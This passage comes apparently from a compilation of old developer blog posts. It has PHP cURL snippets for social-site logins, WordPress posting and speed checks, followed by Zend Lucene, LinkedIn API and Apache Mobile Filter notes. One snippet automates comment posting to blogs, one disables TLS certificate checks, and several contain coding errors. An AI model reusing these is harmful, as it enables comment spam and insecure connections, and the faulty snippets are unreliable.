CURLOPT_POSTFIELDS,\'email=\'.urlencode($login_email).\'&amp;pass=\'.urlencode($login_pass).\'&amp;login=Login\');\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_HEADER, 0);\r\n\r\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\r\ncurl_setopt($ch, CURLOPT_COOKIEJAR, \"my_cookies.txt\");\r\n\r\ncurl_setopt($ch, CURLOPT_COOKIEFILE, \"my_cookies.txt\");\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_USERAGENT, \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\");\r\n\r\ncurl_exec($ch);\r\n\r\n&nbsp;\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 0);\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \'http://m.facebook.com/home.php\');\r\n\r\n$page = curl_exec($ch);\r\n\r\n&nbsp;\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\n\r\npreg_match(\'/name=\"post_form_id\" value=\"(.*)\" \\/&gt;\'.ucfirst($first_name).\'/\', $page, $form_id);\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS,\'post_form_id=\'.$form_id[1].\'&amp;status=\'.urlencode($status).\'&amp;update=Update\');\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \'http://m.facebook.com/home.php\');\r\n\r\ncurl_exec($ch);\r\n\r\n?&gt;\r\n\r\n<b>2 – Get download speed of your webserver</b>\r\n\r\nDo you ever wanted to know the exact download speed of your webserver (or any other?) If yes, you’ll love that code. You just have to initialize the $url variable with any resources from the webserver (images, pdf, etc), place the file on your server and point your browser to it. The output will be a full report of download speed.\r\n\r\n&lt;?php error_reporting(E_ALL | E_STRICT);\r\n\r\n&nbsp;\r\n\r\n// Initialize cURL with given url\r\n\r\n$url = \'http://download.bethere.co.uk/images/61859740_3c0c5dbc30_o.jpg\';\r\n\r\n$ch = curl_init($url);\r\n\r\n&nbsp;\r\n\r\ncurl_setopt($ch, CURLOPT_HEADER, 0);\r\n\r\ncurl_setopt($ch, CURLOPT_USERAGENT, \'Sitepoint Examples (thread 581410; http://www.sitepoint.com/forums/showthread.php?t=581410)\');\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);\r\n\r\ncurl_setopt($ch, CURLOPT_TIMEOUT, 60);\r\n\r\n&nbsp;\r\n\r\nset_time_limit(65);\r\n\r\n&nbsp;\r\n\r\n$execute = curl_exec($ch);\r\n\r\n$info = curl_getinfo($ch);\r\n\r\n&nbsp;\r\n\r\n// Time spent downloading, I think\r\n\r\n$time = $info[\'total_time\']\r\n\r\n- $info[\'namelookup_time\']\r\n\r\n- $info[\'connect_time\']\r\n\r\n- $info[\'pretransfer_time\']\r\n\r\n- $info[\'starttransfer_time\']\r\n\r\n- $info[\'redirect_time\'];\r\n\r\n&nbsp;\r\n\r\n// Echo friendly messages\r\n\r\nheader(\'Content-Type: text/plain\');\r\n\r\nprintf(\"Downloaded %d bytes in %0.4f seconds.\\n\", $info[\'size_download\'], $time);\r\n\r\nprintf(\"Which is %0.4f mbps\\n\", $info[\'size_download\'] * 8 / $time / 1024 / 1024);\r\n\r\nprintf(\"CURL said %0.4f mbps\\n\", $info[\'speed_download\'] * 8 / 1024 / 1024);\r\n\r\n&nbsp;\r\n\r\necho \"\\n\\ncurl_getinfo() said:\\n\", str_repeat(\'-\', 31 + strlen($url)), \"\\n\";\r\n\r\nforeach ($info as $label =&gt; $value)\r\n\r\n{\r\n\r\nprintf(\"%-30s %s\\n\", $label, $value);\r\n\r\n}\r\n\r\n?&gt;\r\n\r\n<b>3 – Myspace login using cURL</b>\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\nfunction login( $data, $useragent = \'Mozilla 4.01\', $proxy = false ) {\r\n\r\n$ch = curl_init();\r\n\r\n$hash = crc32( $data[\'email\'].$data[\'pass\'] );\r\n\r\n$hash = sprintf( \"%u\", $hash );\r\n\r\n$randnum = $hash.rand( 0, 9999999 );\r\n\r\nif( $proxy ) curl_setopt( $ch, CURLOPT_PROXY, $proxy );\r\n\r\ncurl_setopt( $ch, CURLOPT_COOKIEJAR, \'/tmp/cookiejar-\'.$randnum );\r\n\r\ncurl_setopt( $ch, CURLOPT_COOKIEFILE, \'/tmp/cookiejar-\'.$randnum );\r\n\r\ncurl_setopt( $ch, CURLOPT_USERAGENT, $useragent );\r\n\r\ncurl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );\r\n\r\ncurl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 0);\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, \'http://www.myspace.com\' );\r\n\r\n$page = curl_exec( $ch );\r\n\r\npreg_match( \'/MyToken=(.+?)\"/i\', $page, $token );\r\n\r\nif( $token[1] ) {\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, \'http://login.myspace.com/index.cfm?fuseaction=login.process&amp;MyToken=\'.$token[1] );\r\n\r\ncurl_setopt( $ch, CURLOPT_REFERER, \'http://www.myspace.com\' );\r\n\r\ncurl_setopt( $ch, CURLOPT_HTTPHEADER, Array( \'Content-Type: application/x-www-form-urlencoded\' ) );\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 1 );\r\n\r\n$postfields = \'NextPage=&amp;email=\'.urlencode( $data[\'mail\'] ).\'&amp;password=\'.urlencode( $data[\'pass\'] ).\'&amp;loginbutton.x=&amp;loginbutton.y=\';\r\n\r\ncurl_setopt( $ch, CURLOPT_POSTFIELDS, $postfields );\r\n\r\n$page = curl_exec( $ch );\r\n\r\nif( strpos( $page, \'SignOut\' ) !== false ) {\r\n\r\nreturn $randnum;\r\n\r\n}\r\n\r\nelse {\r\n\r\npreg_match( \'/MyToken=(.+?)\"/i\', $page, $token );\r\n\r\npreg_match( \'/replace\\(\"([^\\\"]+)\"/\', $page, $redirpage );\r\n\r\nif( $token[1] ) {\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 0 );\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, \'http://home.myspace.com/index.cfm?&amp;fuseaction=user&amp;Mytoken=\'.$token[1] );\r\n\r\n$page = curl_exec( $ch );\r\n\r\ncurl_close( $ch );\r\n\r\nif( strpos( $page, \'SignOut\' ) !== false ) {\r\n\r\nreturn $randnum;\r\n\r\n}\r\n\r\n}\r\n\r\nelseif( $redirpage[1] ) {\r\n\r\ncurl_setopt( $ch, CURLOPT_REFERER, \'http://login.myspace.com/index.cfm?fuseaction=login.process&amp;MyToken=\'.$token[1] );\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, $redirpage[1] );\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 0 );\r\n\r\n$page = curl_exec( $ch );\r\n\r\ncurl_close( $ch );\r\n\r\nif( strpos( $page, \'SignOut\' ) !== false ) {\r\n\r\nreturn $randnum;\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\nreturn false;\r\n\r\n}\r\n\r\n?&gt;\r\n\r\n<b>4 – Publish a post on your WordPress blog, using cURL</b>\r\nThis function can post on your WordPress blog. You don’t need to login to your WP dashboard etc.\r\nThough, you must activate the XMLRPC posting option in your WordPress blog. If this option isn’t activated, the code will not be able to insert anything into WordPress database. Another thing, make sure the XMLRPC functions are activated on your php.ini file.\r\n\r\nfunction wpPostXMLRPC($title,$body,$rpcurl,$username,$password,$category,$keywords=\'\',$encoding=\'UTF-8\')\r\n\r\n{\r\n\r\n$title = htmlentities($title,ENT_NOQUOTES,$encoding);\r\n\r\n$keywords = htmlentities($keywords,ENT_NOQUOTES,$encoding);\r\n\r\n&nbsp;\r\n\r\n$content = array(\r\n\r\n\'title\'=&gt;$title,\r\n\r\n\'description\'=&gt;$body,\r\n\r\n\'mt_allow_comments\'=&gt;0,  // 1 to allow comments\r\n\r\n\'mt_allow_pings\'=&gt;0,  // 1 to allow trackbacks\r\n\r\n\'post_type\'=&gt;\'post\',\r\n\r\n\'mt_keywords\'=&gt;$keywords,\r\n\r\n\'categories\'=&gt;array($category)\r\n\r\n);\r\n\r\n$params = array(0,$username,$password,$content,true);\r\n\r\n$request = xmlrpc_encode_request(\'metaWeblog.newPost\',$params);\r\n\r\n$ch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, $request);\r\n\r\ncurl_setopt($ch, CURLOPT_URL, $rpcurl);\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_TIMEOUT, 1);\r\n\r\n$results = curl_exec($ch);\r\n\r\ncurl_close($ch);\r\n\r\nreturn $results;\r\n\r\n?&gt;\r\n\r\n<b>5 – Test the existence of a given url</b>\r\n\r\nIn fact, <i>it is basic</i>, but it is also very useful, especially when you have to work with external resources.\r\n\r\n&lt;?php\r\n\r\n$ch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \"http://www.jellyandcustard.com/\");\r\n\r\ncurl_setopt($ch, CURLOPT_HEADER, true);\r\n\r\ncurl_setopt($ch, CURLOPT_NOBODY, true);\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\r\n$data = curl_exec($ch);\r\n\r\ncurl_close($ch)\r\n\r\necho $data;\r\n\r\n?&gt;\r\n\r\n<b>6 – Post comments on WordPress blogs</b>\r\n\r\n&lt;?php\r\n\r\n$postfields = array();\r\n\r\n$postfields[\"action\"] = \"submit\";\r\n\r\n$postfields[\"author\"] = \"Spammer\";\r\n\r\n$postfields[\"email\"] = \"spammer@spam.com\";\r\n\r\n$postfields[\"url\"] = \"http://www.iamaspammer.com/\";\r\n\r\n$postfields[\"comment\"] = \"I am a stupid spammer.\";\r\n\r\n$postfields[\"comment_post_ID\"] = \"123\";\r\n\r\n$postfields[\"_wp_unfiltered_html_comment\"] = \"0d870b294b\";\r\n\r\n//Url of the form submission\r\n\r\n$url = \"http://www.ablogthatdoesntexist.com/blog/suggerer_site.php?action=meta_pass&amp;id_cat=0\";\r\n\r\n$useragent = \"Mozilla/5.0\";\r\n\r\n$referer = $url;\r\n\r\n&nbsp;\r\n\r\n//Initialize CURL session\r\n\r\n$ch = curl_init($url);\r\n\r\n//CURL options\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\n\r\n//We post $postfields data\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);\r\n\r\n//We define an useragent (Mozilla/5.0)\r\n\r\ncurl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n\r\n//We define a refferer ($url)\r\n\r\ncurl_setopt($ch, CURLOPT_REFERER, $referer);\r\n\r\n//We get the result page in a string\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n//We exits CURL\r\n\r\n$result = curl_exec($ch);\r\n\r\ncurl_close($ch);\r\n\r\n&nbsp;\r\n\r\n//Finally, we display the result\r\n\r\necho $result;\r\n\r\n?&gt;\r\n\r\n<b>7 – Follow your Adsense earnings with an RSS reader</b>\r\n\r\nMost bloggers uses Adsense on their blog and (try to) make money with Google. This excellent snippet allows you to follow your Adsense earnings…with a RSS reader! Definitely awesome.\r\n<i>(Script too big to be displayed on the blog, click </i><a href=\"http://planetozh.com/download/rss-adsense.txt\"><i>here to preview</i></a><i>)</i>\r\n<b>Source:</b> <a href=\"http://planetozh.com/blog/my-projects/track-adsense-earnings-in-rss-feed/\">http://planetozh.com/blog/my-projects/track-adsense-earnings-in-rss-feed/</a>\r\n\r\n&nbsp;\r\n\r\n<b>8 – Get feed subscribers count in full text</b>\r\n\r\nIf you’re a blogger, you’re probably using the popular FeedBurner service, which allo you to know how many people grabbed your rss feed. Feedburner have a chicklet to proudly display your subscriber count on your blog.\r\n\r\n//get cool feedburner count\r\n\r\n$whaturl=\"https://feedburner.google.com/api/awareness/1.0/GetFeedData?uri=feedburner-id\";\r\n\r\n&nbsp;\r\n\r\n//Initialize the Curl session\r\n\r\n$ch = curl_init();\r\n\r\n&nbsp;\r\n\r\n//Set curl to return the data instead of printing it to the browser.\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n&nbsp;\r\n\r\n//Set the URL\r\n\r\ncurl_setopt($ch, CURLOPT_URL, $whaturl);\r\n\r\n&nbsp;\r\n\r\n//Execute the fetch\r\n\r\n$data = curl_exec($ch);\r\n\r\n&nbsp;\r\n\r\n//Close the connection\r\n\r\ncurl_close($ch);\r\n\r\n$xml = new SimpleXMLElement($data);\r\n\r\n$fb = $xml-&gt;feed-&gt;entry[\'circulation\'];\r\n\r\n//end get cool feedburner count\r\n\r\n<b>Source:</b> <a href=\"http://www.hongkiat.com/blog/display-google-feed-subscriber-count-in-text/\">http://www.hongkiat.com/blog/display-google-feed-subscriber-count-in-text/</a>\r\n\r\n&nbsp;\r\n\r\n<b>9 – Get the content of a webpage into a PHP variable</b>\r\n\r\nThis is a very basic thing to do with cURL, but with endless possibilities. Once you have a webpage in a PHP variable, you can for example, retrieve a particular information on the page to use on your own website.\r\n\r\n&lt;?php\r\n\r\nch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \"example.com\");\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n$output = curl_exec($ch);\r\n\r\ncurl_close($ch);  ?&gt;\r\n\r\n<b>10 – Post to Twitter using PHP and cURL</b>\r\n\r\nTwitter is very popular since some time now, and you probably already have an account there. (<a href=\"http://www.twitter.com/catswhocode\">We have one too</a>) So, what about using cURL to tweet from your server without connectiong to Twitter?\r\n\r\n&lt;?php\r\n\r\n// Set username and password\r\n\r\n$username = \'username\';\r\n\r\n$password = \'password\';\r\n\r\n// The message you want to send\r\n\r\n$message = \'is twittering from php using curl\';\r\n\r\n// The twitter API address\r\n\r\n$url = \'http://twitter.com/statuses/update.xml\';\r\n\r\n// Alternative JSON version\r\n\r\n// $url = \'http://twitter.com/statuses/update.json\';\r\n\r\n// Set up and execute the curl process\r\n\r\n$curl_handle = curl_init();\r\n\r\ncurl_setopt($curl_handle, CURLOPT_URL, \"$url\");\r\n\r\ncurl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT, 2);\r\n\r\ncurl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($curl_handle, CURLOPT_POST, 1);\r\n\r\ncurl_setopt($curl_handle, CURLOPT_POSTFIELDS, \"status=$message\");\r\n\r\ncurl_setopt($curl_handle, CURLOPT_USERPWD, \"$username:$password\");\r\n\r\n$buffer = curl_exec($curl_handle);\r\n\r\ncurl_close($curl_handle);\r\n\r\n// check for success or failure\r\n\r\nif (empty($buffer)) {\r\n\r\necho \'message\';\r\n\r\n} else {\r\n\r\necho \'success\';\r\n\r\n}\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Prevent js and css files from being cached</b>\r\n\r\nBy default, external files such as javascript and css are cached by the browser. If you want to prevent this from caching, simply use this easy tip:\r\n\r\n&lt;link href=\"/stylesheet.css?&lt;?php echo time(); ?&gt;\" rel=\"stylesheet\" type=\"text/css\" /&gt;\r\n\r\nThe result will look like this:\r\n\r\n&lt;link href=\"/stylesheet.css?1234567890\" rel=\"stylesheet\" type=\"text/css\" /&gt;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Test if a password is strong</b>\r\n\r\nWeak passwords are one of the quickest ways to get hacked. The following regexp will make sure that:\r\n\r\nPasswords will contain at least (1) upper case letter\r\n\r\nPasswords will contain at least (1) lower case letter\r\n\r\nPasswords will contain at least (1) number or special character\r\n\r\nPasswords will contain at least (8) characters in length\r\n\r\nPassword maximum length should not be arbitrarily limited\r\n\r\n(?=^.{8,}$)((?=.*\\d)|(?=.*\\W+))(?![.\\n])(?=.*[A-Z])(?=.*[a-z]).*$\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Remove URLs from string</b>\r\n\r\nWhen I see the amount of URLs people try to leave in my blog comments to get traffic and/or backlinks, I think I should definitely give a go to this snippet!\r\n\r\n$string = preg_replace(\'/\\b(https?|ftp|file):\\/\\/[-A-Z0-9+&amp;@#\\/%?=~_|$!:,.;]*[A-Z0-9+&amp;@#\\/%=~_|$]/i\', \'\', $string);\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">37.</span>  <span style=\"text-decoration: underline;\">Blog37:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Zend Lucene Search for Multi Language\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n<h1>Seatch Implementation for MultiLanguages Using Zend Lucene</h1>\r\nI have a problem with searching Russian strings,   with  Zend Search Lucene. Here is my actual code:\r\n\r\n<strong> ///Before </strong>\r\n\r\n// Create index\r\n$index = Zend_Search_Lucene::create(\'data/index\');\r\n$doc = new Zend_Search_Lucene_Document();\r\n$doc-&gt;addField(Zend_Search_Lucene_Field::Text(\'samplefield\', \'русский\r\nтекст; english text\'));\r\n$index-&gt;addDocument($doc);\r\n$index-&gt;commit();\r\n\r\nThe problem here is default analyzer works only with ASCII Text.\r\nThat\'s so because mbstring PHP extension is not included into PHP installation by default and iconv() doesn\'t have necessary functionality.\r\n\r\nYou should use special UTF-8 analyzers to work with non-ASCII text which can\'t be transliterated by iconv()\r\n\r\n///Add this line extra to replace default analyzer with Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8. It looks like the analyzer you are using destroys the non-ASCII characters\r\n\r\nZend_Search_Lucene_Analysis_Analyzer::setDefault(\r\nnew Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8 ());\r\n\r\n<strong>//After</strong>\r\n// Create index\r\n$index = Zend_Search_Lucene::create(\'data/index\');\r\n$doc = new Zend_Search_Lucene_Document();\r\n$doc-&gt;addField(Zend_Search_Lucene_Field::Text(\'samplefield\',\r\n\'русский текст; english text\',\r\n\'utf-8\'));\r\n$index-&gt;addDocument($doc); $index-&gt;commit();\r\n\r\nThis needs to be done at the time of creating index files.\r\n\r\n&nbsp;\r\n\r\nWhile indexing database columns we need to execute my sql query .Before executing mysql_query we need to add mysql_query(\"SET NAMES \'utf8\'\").\r\n\r\nmysql_query(\"SET NAMES \'utf8\'\");\r\n\r\n$contents = mysql_query($query)\r\n\r\nThis will inform mysql that all incoming data are UTF-8, it will convert them into table/column encoding. Same will happen when mysql sends you the data back - they will be converted into UTF-8. You will also have to assure that you set the content-type response header to indicate the UTF-8 encoding of the pages.\r\n<h1><strong>///Searching   </strong></h1>\r\nThe same Zend_Search_Lucene_Analysis_Analyzer we need to set as default analyzer before searching also.\r\n\r\n<strong>////Before</strong>\r\n\r\n// Query the index:\r\n$queryStr = \'english\';\r\n$query = Zend_Search_Lucene_Search_QueryParser::parse($queryStr, \'utf-8\');\r\n$hits = $index-&gt;find($query);\r\nforeach ($hits as $hit) {\r\n/*@var $hit Zend_Search_Lucene*/\r\n$doc = $hit-&gt;getDocument();\r\necho $doc-&gt;getField(\'samplefield\')-&gt;value, PHP_EOL;\r\n}\r\n\r\n<strong>////After</strong>\r\nZend_Search_Lucene_Analysis_Analyzer::setDefault(\r\nnew Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8_CaseInsensitive ());\r\n\r\n// Open index\r\n$index = Zend_Search_Lucene::open(\'data/index\');\r\n...\r\n\r\nZend_Search_Lucene_Search_QueryParser::setDefaultEncoding(\'utf-8\');\r\nforeach ($index-&gt;find($query) as $hit) {\r\necho $hit-&gt;samplefield, PHP_EOL;\r\n}\r\n<h1>UTF-8 compatible text analyzers</h1>\r\nZend_Search_Lucene also contains a set of UTF-8 compatible analyzers: Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8Num, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8_CaseInsensitive, Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8Num_CaseInsensitive.\r\n\r\n<b>Any of this analyzers can be enabled with the code like this: </b>\r\n\r\nZend_Search_Lucene_Analysis_Analyzer::setDefault(<b>new</b> Zend_Search_Lucene_Analysis_Analyzer_Common_Utf8());\r\n\r\n<b>Warning</b>\r\n\r\nUTF-8 compatible analyzers were improved in Zend Framework 1.5. Early versions of analyzers assumed all non-ascii characters are letters. New analyzers implementation has more accurate behavior.\r\n\r\nThis may need you to re-build index to have data and search queries tokenized in the same way, otherwise search engine may return wrong result sets.\r\n\r\n<span style=\"text-decoration: underline;\">38.</span>  <span style=\"text-decoration: underline;\">Blog38:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Integration of LinkedIn API\r\n\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\n<b>Integration of LinkedIn API</b>\r\n\r\nThe purpose of this article is how to integrate LinkedIn API in our applications. I covered some of the topics like showing the LinkedIn network people belongs to a company or industry and showing your LinkedIn first degree/second degree connection friends in our application and sending message to your LinkedIn friends.\r\n\r\nLinkedIn API uses OAuth as its authentication method. OAuth is a standard for negotiating developer authorization and granting access on behalf of specific members to perform API requests. One of OAuth\'s benefits is the availability of many third party and open source libraries, allowing developers to authenticate with LinkedIn quickly and in a similar manner to how they authenticate with services such as Twitter, Google, Yahoo, and Netflix.\r\n<b>OAuth Overview</b>\r\n\r\nThe below is a high-level architectural diagram of OAuth, and provides the specific settings for using it with the LinkedIn API.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>The OAuth Flow</b><b></b>\r\n\r\nThe developer (or the \"consumer\") requests an API (or consumer) key from LinkedIn (or the \"provider\")\r\n\r\nA. When your application needs to authenticate the member (or the \"user\"), your application makes a call to LinkedIn to ask for a request token\r\n\r\nB. LinkedIn replies with a request token. Request tokens are used to ask for user approval to the API.\r\n\r\nC. Your application redirects the member to LinkedIn to sign-in and authorize your application to make API calls on their behalf. Developer provides LinkedIn with a URL where they should send them afterward (or the \"callback\")\r\n\r\n&nbsp;\r\n\r\nD. If the member agrees, LinkedIn returns them to the location specified in the callback\r\n\r\nE. Your application then makes another OAuth call to LinkedIn to retrieve an access token for the member\r\n\r\nF. LinkedIn returns an access token, which has two parts: the oauth_token and oauth_token_secret.\r\n\r\nG. After retrieving the access token, you can make API calls, signing them with the consumer key and access token\r\n\r\nFor implementing in your application your must have the Api Key and Secret Key for your application. So go to <a href=\"https://www.linkedin.com/secure/developer\" target=\"_blank\">https://www.linkedin.com/secure/developer</a> and click <b>Add New Application</b> to get them.\r\n\r\n<b>People Search API</b><b></b>\r\n\r\nThe People Search API returns information about people. It lets you implement most of what shows up when you do a search for \"People\" in the top right box on LinkedIn.com.\r\n\r\nAPI Call method:\r\n\r\n<a href=\"http://developer.linkedin.com/docs/DOC-1191\">http://api.linkedin.com/v1/people-search? keywords=<i>[space delimited keywords]</i>&amp; first-name=<i>[first name]</i>&amp; last-name=<i>[last name]</i>&amp; company-name=<i>[company name]</i>&amp; current-company=<i>[true|false]</i>&amp; title=<i>[title]</i>&amp; current-title=<i>[true|false]</i>&amp; school-name=<i>[school name]</i>&amp; current-school=<i>[true|false]</i>&amp; country-code=<i>[country code]</i>&amp; postal-code=<i>[postal code]</i>&amp; distance=<i>[miles]</i>&amp; start=<i>[number]</i>&amp; count=<i>[1-25]</i>&amp;  facet=<i>[facet code, values]</i>&amp; facets=<i>[facet codes]</i>&amp;  sort=<i>[connections|recommenders|distance|relevance]</i></a>\r\n\r\n&nbsp;\r\n\r\nUse the People Search API to find people using keywords, company, name, or other criteria. It returns a list of matching member profiles. Each entry can contain much of the information available on the person\'s member profile page.\r\n\r\nUse Field Selectors to explicitly enumerate the exact fields you want. This ensures the call returns in the least amount of time.\r\n\r\nAs a starting point, the People API default looked like this: <b>/people-search:(people:(id,first-name,last-name,headline,location:(name,country:(code),postal-code),industry,num-recommenders,connections,summary,specialties,interests,honors,positions,educations,member-url-resources,api-standard-profile-request,site-standard-profile-request,public-profile-url))?query</b>\r\n\r\nThe API can also return facets. Facets provide you with data about the collection of people, such as where they work, are located, or what schools they attended. You can then use this data to make a new API call that further refines your original request. This is similar to clicking the buttons on the left-hand side of the LinkedIn Search results page\r\n\r\n<b>Facets</b><b></b>\r\n\r\nFacets provide you with data similar to what appears on left-hand side of the LinkedIn Search results page.\r\n\r\nUse facets to discover for a member:\r\n\r\n- Who in their network works at a specific company, or group of companies.\r\n\r\n- How the people their network cluster together. What locations or industries are the most popular?\r\n\r\n- Where their connections graduated from school.\r\n\r\n&nbsp;\r\n\r\nTo find the First degree connections in a company use this API call:\r\n\r\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29?company-name=Collabor&amp;facets=network&amp;facet=network,F&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)?company-name=Collabor&amp;facets=network&amp;facet=network,F&amp;start=1&amp;count=200</a>\r\n\r\nFor second degree connections in a company,\r\n\r\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29?company-name=Asda&amp;facets=network&amp;facet=network,S&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)?company-name=Asda&amp;facets=network&amp;facet=network,S&amp;start=1&amp;count=200</a>\r\n\r\nFor Industry type (eg. IT Software),\r\n\r\n<a href=\"http://api.linkedin.com/v1/people-search:%28people:%28id,first-name,last-name,headline,picture-url,public-profile-url,positions:%28title%29%29,num-results%29??facets=industry,network&amp;facet=industry,96&amp;facet=network,F&amp;start=1&amp;count=200\">http://api.linkedin.com/v1/people-search:(people:(id,first-name,last-name,headline,picture-url,public-profile-url,positions:(title)),num-results)??facets=industry,network&amp;facet=industry,96&amp;facet=network,F&amp;start=1&amp;count=200</a>\r\n\r\nYou can get more information from <a href=\"http://developer.linkedin.com/docs/DOC-1012\">http://developer.linkedin.com/docs/DOC-1012</a>\r\n\r\nFor sending a message to the user use this function,\r\n\r\nfunction sendMessage($xml){\r\n\r\n$status_url = \"http://api.linkedin.com/v1/people/~/mailbox\";\r\n\r\n$request = OAuthRequest::from_consumer_and_token$this-&gt;consumer, $this-&gt;access_token, \"POST\", $status_url);\r\n\r\n$request-&gt;sign_request($this-&gt;signature_method, $this-&gt;consumer, $this-&gt;access_token);\r\n\r\n$auth_header = $request-&gt;to_header(\"https://api.linkedin.com\");\r\n\r\n$response = $this-&gt;httpRequest($status_url, $auth_header, \"POST\", $xml);\r\n\r\nreturn $response;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nXml will be as follows for sending a message.\r\n\r\n$xml =\'&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\r\n\r\n&lt;mailbox-item&gt;\r\n\r\n&lt;recipients&gt;\r\n\r\n\'.12345(LinkedIn person_id).\'\r\n\r\n&lt;/recipients&gt;\r\n\r\n&lt;subject&gt;\'.$custom_subject.\'&lt;/subject&gt;\r\n\r\n&lt;body&gt;\'.htmlentities($custom_message).\'&lt;/body&gt;\r\n\r\n&lt;/mailbox-item&gt;\';\r\n\r\n$content = $linkedin-&gt;sendMessage($xml);\r\n\r\n&nbsp;\r\n\r\n<span style=\"text-decoration: underline;\">39.</span>  <span style=\"text-decoration: underline;\">Blog39:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Apache Mobile Filter installation on Centos servers.\r\n\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Mobile Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\n<b>This is the software and perl modules you need to install before Apache mobile Filter Installation</b>.\r\n\r\nApache 2.x.x\r\nmod_perl 2.0\r\n\r\nApache2::Filter\r\nApache2::RequestRec\r\nApache2::RequestUtil\r\nApache2::Connection\r\nApache2::SubRequest\r\nApache2::Log;\r\nCGI::Cookie\r\nAPR::Table\r\nLWP::Simple\r\nImage::Resize\r\nApache2::Const\r\nIO::Uncompress::Unzip\r\n\r\n<b>For Install Apache Perl in Linux.</b>\r\n\r\nYum install httpd-devel\r\n\r\nYum install mod_perl\r\n\r\n<b>For installing Perl modules.</b>\r\n\r\ncpan install Image::Resize\r\n\r\ncpan install Apache2::Filter\r\n\r\nand same for above perl modules.\r\n\r\n<b>For download and install the Apache Mobile Filter suite follow this steps:</b>\r\n\r\n<b>mkdir</b> AWF\r\n<b>cd</b> AWF\r\n<b>wget</b> http://downloads.sourceforge.net/project/mobilefilter/ApacheMobileFilter/X.XX/Apache2-ApacheMobileFilter-X.XX.tar.gz?use_mirror=dfn\r\n<b>tar</b> -xzvf Apache2-WURFLFilter-X.XX.tar.gz\r\n<b>cd</b> 